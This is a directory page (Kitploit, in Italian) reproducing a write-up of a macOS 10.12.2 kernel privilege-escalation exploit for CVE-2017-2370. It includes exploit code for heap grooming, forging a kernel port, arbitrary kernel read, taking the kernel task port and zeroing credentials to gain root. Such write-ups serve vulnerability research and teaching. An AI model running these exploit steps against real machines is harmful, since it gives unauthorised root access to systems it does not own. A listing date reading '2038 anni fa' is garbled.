Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2017-2370 — su Mac 10.12.2 | Kitploit
Strumenti/GitHubGitHub/peterpan0927/cve-2017-2370
Escalation di PrivilegiSicurezza iOSMemory ForensicsExploitRaccolta InformazioniBinary Exploitation
GitHubpeterpan0927/cve-2017-2370

CVE-2017-2370

su Mac 10.12.2

Vedi Repository
2038 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

0x00. Introduzione

Questa escalation dei privilegi sfrutta una vulnerabilità presente in mach_voucher_extract_attr_recipe_trap, e il cuore del metodo di sfruttamento sono i messaggi MACH_MSG_OOL_PORTS_DESCRIPTOR.

Riguardo mach_msg ool, in parole povere, quando si invia un msg contenente un ool descriptor, il kernel copia i dati specificati dallo spazio utente allo spazio kernel, e il kernel mantiene questi dati finché il task di destinazione non ha elaborato il messaggio. Allo stesso modo, quando il processo di destinazione riceve un messaggio con un ool descriptor, il kernel copia i dati dallo spazio kernel allo spazio utente (non si tratta necessariamente di una vera copia). Possiamo quindi sfruttare questo punto tecnico per scrivere dati nell'heap del kernel o leggere dati dal kernel.

Poiché lo sfruttamento di questa vulnerabilità è molto più complesso di quello di Trident, procederò ad analizzarlo lentamente, passo dopo passo, dal punto in cui nasce la vulnerabilità fino allo sfruttamento. Il codice è disponibile nel mio github

0x01. Punto di origine della vulnerabilità

Tra le nuove funzionalità aggiunte in iOS 10 e macOS 10.12 c'è una funzione chiamata mach_voucher_extract_attr_recipe_trap, che è una Mach trap richiamabile all'interno della sandbox. Ecco il codice sorgente di questa funzione:

root@kitploit:~
kern_return_t
  mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
  {
    ipc_voucher_t voucher = IV_NULL;
    kern_return_t kr = KERN_SUCCESS;
    mach_msg_type_number_t sz = 0;
	//将recipe_size的地址拷贝到sz中,此时sz存放的就是kalloc_size的值了
    if (copyin(args->recipe_size, (void *)&sz, sizeof(sz)))     <---------- (a)
      return KERN_MEMORY_ERROR;

    if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
      return MIG_ARRAY_TOO_LARGE;

    voucher = convert_port_name_to_voucher(args->voucher_name);
    if (voucher == IV_NULL)
      return MACH_SEND_INVALID_DEST;

    mach_msg_type_number_t __assert_only max_sz = sz;

    if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
      /* keep small recipes on the stack for speed */
      uint8_t krecipe[sz];
      if (copyin(args->recipe, (void *)krecipe, sz)) {
        kr = KERN_MEMORY_ERROR;
        goto done;
      }
      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
    } else {
      uint8_t *krecipe = kalloc((vm_size_t)sz);                 <---------- (b)
      if (!krecipe) {
        kr = KERN_RESOURCE_SHORTAGE;
        goto done;
      }

      if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {         <----------- (c)
        kfree(krecipe, (vm_size_t)sz);
        kr = KERN_MEMORY_ERROR;
        goto done;
      }

      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
      kfree(krecipe, (vm_size_t)sz);
    }

    kr = copyout(&sz, args->recipe_size, sizeof(sz));

  done:
    ipc_voucher_release(voucher);
    return kr;
  }
  1. Dall'analisi sappiamo che al punto (a) il puntatore a 4 byte nello spazio utente args->recipe_size viene scritto in sz, quindi sz contiene il valore di kalloc_size.
  2. Al punto (b), se la dimensione di sz è compresa tra MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120) e MACH_VOUCHER_TRAP_STACK_LIMIT (256), viene allocato un buffer nell'heap del kernel in base al valore di sz.
  3. Al punto (c), la memoria dello spazio utente viene copiata nell'area appena allocata, ma la dimensione della copia passata non è sz, quella usata per l'allocazione nell'heap del kernel, bensì un puntatore allo spazio utente. Questo causa un heap overflow, ed è esattamente il punto che sfruttiamo per l'attacco. Inoltre, la funzione copyin ha una particolarità: smette di copiare quando incontra una pagina non mappata (unmap). Questa caratteristica verrà sfruttata nella nostra poc:

copyin

0x01. Passi dello sfruttamento

  1. Prima di tutto dobbiamo rendere controllabile lo spazio dell'heap. Qui usiamo la tecnica dell'heap feng shui, perché dopo la randomizzazione della freelist non conosciamo più la posizione dei blocchi di memoria riallocati.

Dobbiamo prima capire come mach msg gestisce MACH_MSG_OOL_PORTS_DESCRIPTOR. Quando il kernel riceve un messaggio complesso e scopre che si tratta di un ports descriptor, lo affida (chiamato da ipc_kmsg_copyin) alla funzione ipc_kmsg_copyin_ool_ports_descriptor, che legge tutti gli oggetti port. Questa funzione chiama kalloc per allocare la memoria necessaria (su architettura a 64 bit viene allocata una quantità di memoria pari al doppio dell'input, poiché la lunghezza di name è di 4 byte), quindi converte i port validi da name all'indirizzo reale dell'oggetto ipc_port e lo salva. Per i name di input che sono MACH_PORT_NULL o , il valore rimane invariato.

root@kitploit:~
/* calculate length of data in bytes, rounding up */
if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) { 
	*mr = MACH_SEND_TOO_LARGE; 
	return NULL; 
} 

if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) { 
    *mr = MACH_SEND_TOO_LARGE;
	return NULL; 
} 

if(ports_length == 0){
    return user_desc;
}

data = kalloc(ports_length); // 分配空间 
... 
objects = (ipc_object_t *) data; 

dsc->address = data; 

for ( i = 0; i < count; i++) { 
    mach_port_name_t name = names[i]; 
    ipc_object_t object;
    if (!MACH_PORT_VALID(name)) {
        objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);// IPC_PORT_DEAD continue; 
    } 
...
}

Pertanto, durante l'attacco invieremo una grande quantità di MACH_PORT_DEAD, riempiendo l'area di memoria con 0xFFFFFFFFFFFFFFFF (MACH_PORT_DEAD), poi attiveremo la vulnerabilità per modificare uno degli IPC_PORT_DEAD in una regione di memoria predisposta dall'attaccante. Se l'area puntata è una struttura ipc port valida, dopo aver ricevuto il messaggio OOL PORTS saremo in grado di ottenere nello spazio utente il port name corrispondente a quel ipc_port, e passare al passo successivo dell'attacco.

堆风水

  1. Costruzione dell'oggetto ipc_object

Ora abbiamo ottenuto questa fake port. Per procedere con la leak di informazioni, dobbiamo sapere in base a quali parametri il kernel la tratterà in modo diverso. Prima di tutto, guardiamo la struttura di ipc_port:

root@kitploit:~
struct ipc_port {
	//ipc_object的指针就在前八个字节,是我们溢出攻击的对象
	struct ipc_object ip_object; // port对象的类型 struct ipc_mqueue,ip_messages;
	struct ipc_mqueue ip_messages; //消息队列
	union {
               struct ipc_space *receiver;
               struct ipc_port *destination;
               ipc_port_timestamp_t timestamp;
    }data;
	union {
    	ipc_importance_task_t imp_task;
    	ipc_kobject_t kobject; // port对应的内核对象
    	uintptr_t alias;
	}kdata;
	...
} __attribute__((__packed__));

Tra i campi c'è l'oggetto kernel corrispondente al port. Il tipo di oggetto kernel a cui corrisponde questo ipc_port è determinato dagli attributi di ipc_object, quindi in realtà stiamo costruendo l'ipc_object.

root@kitploit:~
fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; //设置为IKOT_CLOCK对象,并处于激活状态
fakeport->io_lock_data[12] = 0x11;	//设置port锁处于活动状态,防止死锁

Il kernel tratterà quindi questo ipc_port come un port per la comunicazione con l'oggetto IKOT_CLOCK. L'obiettivo successivo è leakare l'indirizzo di base del kernel:

Forjiamo questo ipc_port come oggetto IKOT_CLOCK e impostiamo il suo puntatore kdata.kobject a un indirizzo del kernel. Ogni volta che modifichiamo questo indirizzo del kernel, chiamiamo clock_sleep_trap nello spazio utente; nel kernel viene chiamata port_name_to_clock per ottenere questo indirizzo e passarlo come parametro clock a clock_sleep_internal. Ecco il codice sorgente:

root@kitploit:~
static kern_return_t clock_sleep_internal( clock_t clock, sleep_type_t sleep_type, mach_timespec_t *sleep_time)
{
    if (clock == CLOCK_NULL)
      return (KERN_INVALID_ARGUMENT);
    if (clock != &clock_list[SYSTEM_CLOCK])
      return (KERN_FAILURE);
...
}

Dal codice sopra si vede che se l'indirizzo di clock non è l'indirizzo di clock_list[SYSTEM_CLOCK], viene restituito KERN_FAILURE; altrimenti viene restituito un altro valore. Quindi possiamo usare il valore restituito per iterare (modificando continuamente il valore di kobject) finché non viene restituito KERN_FAILURE. A quel punto avremo ottenuto l'indirizzo di clock_list[SYSTEM_CLOCK] nel kernel. Questo indirizzo però non si trova nell'heap, ma è una variabile globale del kernel, situata a un offset specifico. Poi, partendo da qui, leggiamo l'intestazione di ogni pagina all'indietro finché non troviamo MH_MAGIC_64, cioè 0xfeedfacf.

root@kitploit:~
extern struct clock_ops sysclk_ops, calend_ops;

struct clock clock_list[] = {
    {&sysclk_ops, 0, 0},
    {&calend_ops, 0, 0}
};
  1. Lettura arbitraria da indirizzo di memoria del kernel

Una volta ottenuto questo indirizzo, dobbiamo convertire il nostro oggetto in tipo task e trovare l'indirizzo di base del kernel, così possiamo calcolare kslide e procedere con l'operazione tfp0.

root@kitploit:~
//将fake port的类型换成task,因为需要利用pid_for_task这个接口来进行任意地址读
fakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;
fakeport->io_references = 0xff;
char* faketask = ((char*)fakeport) + 0x1000;
    
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*) (faketask + 0x10) = 0xee;

Otteniamo l'indirizzo di kobject, saltiamo all'inizio della pagina. Nelle PoC di Yalu102 e Zheng min l'ordine di queste operazioni è diverso, ma non ha importanza, perché anche l'indirizzo di faketask si trova su questa pagina, quindi un'operazione di AND restituirà comunque l'indirizzo iniziale della pagina.

root@kitploit:~
uint64_t leaked_ptr =  *(uint64_t*)(((uint64_t)fakeport) + 0x68);
leaked_ptr &= ~0x3FFF;

Poi scriviamo un ciclo infinito per cercare MH_MAGIC_64, e quindi passiamo alla fase tfp0:

root@kitploit:~
while (1) {
        int leaked = 0;
    	*(uint64_t *)(faketask + 0x380) = leaked_ptr -0x10;
        pid_for_task(foundport, &leaked);
        if (leaked == MH_MAGIC_64) {
            printf("found kernel text at 0x%llx\n", leaked_ptr);
            break;
        }
    	//往前一个页面
        leaked_ptr -= 0x4000;
    }

Il motivo per cui si può realizzare una lettura arbitraria degli indirizzi è che la funzione pid_for_task non fa alcun controllo sul valore: si limita a convertire il parametro passato in un indirizzo su cui esegue semplici addizioni/sottrazioni:

root@kitploit:~
kern_return_t pid_for_task(struct pid_for_task_args *args){
	mach_port_t t = args->t;
    ...
    t1 = port_name_to_task(t);
    p = get_bsdtask_info(t1);
    if(p){
        pid = proc_id(p);
        err = KERN_SUCCESS;
    }
    ...
    (void) copyout((char *)&pid, pid_addr, sizeof(int));
    AUDIT_MACH_SYSCALL_EXIT(err);
    return err;
}

//pid_for_task_args
struct pid_for_task_args{
    PAD_ARG(mach_port_name_t t);
    PAD_ARG(user_addr_r pid);
};

pid_for_task

  1. tfp0

L'intero processo consiste nel trovare la lista dei processi nel kernel, scorrerla per trovare l'indirizzo del nostro processo e quello di pid0. Poi, partendo dal processo del kernel, otteniamo l'indirizzo del kernel task, da cui ricaviamo itk_sself (la port del kernel task). Quindi sovrascriviamo le informazioni del nostro ipc_port falsificato con quelle del kernel task, facciamo puntare la fake port al kernel task falsificato, impostiamo la bootstrap port del kernel task sulla port reale del kernel task. A questo punto possiamo usare l'interfaccia task_get_special_port per ottenere la port del kernel task, realizzando lettura/scrittura arbitraria e trasformando i privilegi del nostro proc in root.

root@kitploit:~
uint64_t kern_task = 0;
kr32(kernproc+0x18, (int32_t*)&kern_task);
kr32(kernproc+0x18+4 , (int32_t*)(((uint64_t)(&kern_task)) + 4));
    
uint64_t itk_kern_sself = 0;
kr32(kern_task+0xe8, (int32_t*)&itk_kern_sself);
kr32(kern_task+0xe8+4 , (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));
    
char *faketaskport = malloc(0x1000);
char *ktaskdump = malloc(0x1000);
    
for (int i = 0; i < 0x1000/4; i++) {
    kr32(itk_kern_sself+i*4, (int32_t*)(&faketaskport[i*4]));
}

for (int i = 0; i < 0x1000/4; i++) {
    kr32(kern_task+i*4, (int32_t*)(&ktaskdump[i*4]));
}
 
//dump kernel task port
memcpy(fakeport, faketaskport, 0x1000);
memcpy(faketask, ktaskdump, 0x1000);


*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;

*(uint64_t*)(((uint64_t)faketask) + 0x2b8) = itk_kern_sself;

//get kernel task
task_get_special_port(foundport, 4, &tfp0);
printf("tfp0 = 0x%x\n", tfp0);

fakeport->io_bits = 0;

uint64_t slide;
slide = kernel_base - 0xFFFFFF8000200000;

printf("kernel_base=0x%llx slide=0x%llx header=0x%llx\n",kernel_base, slide,ReadAnywhere64(kernel_base));

//get root
uint64_t cred = ReadAnywhere64(myproc+0xe8);
WriteAnywhere64(cred+0x18,0);

pwn

0x02. Link di riferimento

  • ool msg
  • project zero
  • zheng min
  • Yalu102
  • E grazie per l'aiuto di shrek_wzw
Scarica lo strumento
MACH_PORT_DEAD